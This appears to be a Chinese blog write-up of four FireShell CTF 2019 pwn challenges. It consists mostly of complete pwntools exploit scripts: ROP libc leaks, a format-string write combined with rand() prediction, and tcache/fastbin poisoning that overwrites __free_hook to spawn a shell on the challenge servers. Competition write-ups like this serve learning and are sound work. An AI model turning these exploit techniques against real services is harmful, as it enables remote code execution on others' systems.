FireShell CTF 2019 PWN

昨天抽时间参加了巴西的这场线上,solo了PWN题,题目不算难,AK得比较容易

0x01 leakless

leak puts->find puts f7586f10->get libc2.26->leak libc->system(“/bin/sh”)

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.log_level="debug"
p=process("./leakless")
p=remote("35.243.188.20",2002)
#gdb.attach(p)
p.send("a"*0x48+p32(0x804a800)+p32(0x80483f0)+p32(0x80485CB)+p32(0x804a014))
s=u32(p.recv(8)[4:])-0x0067f10+0x0003d540
p.recvuntil("\n")
s1=s-0x3d540+0x1794d1
#gdb.attach(p)
p.send("a"*0x48+p32(0x804a800)+p32(s)+p32(0x80485CB)+p32(s1))
p.interactive()

0x02 casino

格式化字符串+伪随机预测:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#gcc time_pwn.c -o time_pwn
#include<stdlib.h>
#include<stdio.h>
int main(){
int i;
int seed;
scanf("%d",&seed);
srand(seed);
for(i = 0; i < 300; i++)
{
printf("%d ",rand());
}
printf("\n");
}

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
from time import *
context.log_level='debug'
now=int(time())/10+2
p1=process("./time_pwn")
p1.sendline(str(now))
rand=p1.recvuntil("\n").strip().split(" ")
print rand
p1.close()

p2=remote("challs.fireshellsecurity.team",31006)
#p2=process("./casino")
#gdb.attach(p2)F#{buggy_c4s1n0_1s_n0t_f41r!}
p2.sendafter("What is your name? ","aa%11$hn"+p64(0x602020))
#gdb.attach(p2)
for i in range(99):
p2.sendlineafter("number: ",rand[i])
print p2.recv()
p2.interactive()

0x03 babyheap

free tcache chunk->edit fd->malloc chunk in bss->show stdin_addr->leak libc->fastbin attack(edit fd)->malloc chunk in bss->overwrite buf ->overwrite __free_hook(system_addr)->get shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *


context.log_level='debug'
def new():
p.sendlineafter("> ","1")

def edit(note):
p.sendlineafter("> ","2")
p.sendafter("Content? ",note)

def delete():
p.sendlineafter("> ","4")

def show():
p.sendlineafter("> ","3")
p.recvuntil("Content: ")
return p.recvuntil("\n")

def fill(note):
p.sendlineafter("> ","1337")
p.sendafter("Fill ",note)
#p=process("./babyheap",env = {'LD_PRELOAD' : './libc.so.6'})
p=remote("35.243.188.20",2000)
new()
delete()
edit(p64(0x602098))
new()
fill(p64(0x71)+p64(0)*4+p64(2)+p64(0x602091))
libc_addr=u64("\xe0"+show().strip()+"\x00\x00")-0x03da9e0
fill("kirin")
delete()
edit(p64(0x602090))
fill("kirin")
fill(p64(0)*4+p64(2)+p64(libc_addr+0x3dc8a8-8))
edit("/bin/sh\x00"+p64(libc_addr+0x00047dc0))
delete()
#gdb.attach(p)
p.interactive()

0x04 quotes list

对程序自定义了 RUNPATH,题目提供了libc 2.29,对tcache加入了保护机制
不过题目出的灵活性太大,很好绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *

def add(length,note):
p.sendlineafter("> ","1")
p.sendlineafter(": ",str(length))
p.sendafter(": ",note)
def edit(index,note):
p.sendlineafter("> ","2")
p.sendlineafter(": ",str(index))
p.sendafter(": ",note)
def show(index):
p.sendlineafter("> ","3")
p.sendlineafter(": ",str(index))
p.recvuntil("Quote: ")
return p.recvuntil("\n-")[:-2]
def delete(index):
p.sendlineafter("> ","4")
p.sendlineafter(": ",str(index))
context.log_level="debug"
#p=process("./quotes_list")
p=remote("35.243.188.20",2005)
#leak libc
add(0x508,"a"*8)
add(0x508,"a"*8)
delete(0)
add(0x508,"\n")
libc_addr=u64(show(0)+"\x00\x00")-0x3aec0a
print hex(libc_addr)
delete(0)
delete(1)
delete(2)

#mix two unsorted chunk
add(0x28,"kirin")
add(0x500,"kirin")
add(0x28,"kirin")
add(0x4f0,"kirin")
edit(0,"b"*0x28+"\x41")
delete(1)
#make note 4 & 2 in same chunk
add(0x500,"kirin")#1
add(0x28,"kirin")#4
delete(4)
#fd->__free_hook
edit(2,p64(libc_addr+0x3b08c8))
add(0x28,"/bin/sh\x00")#4
#overwrite __free_hook with system_addr
add(0x28,p64(libc_addr+0x041bf0))
#get shell->system("/bin/sh")
delete(4)
#gdb.attach(p)
p.interactive()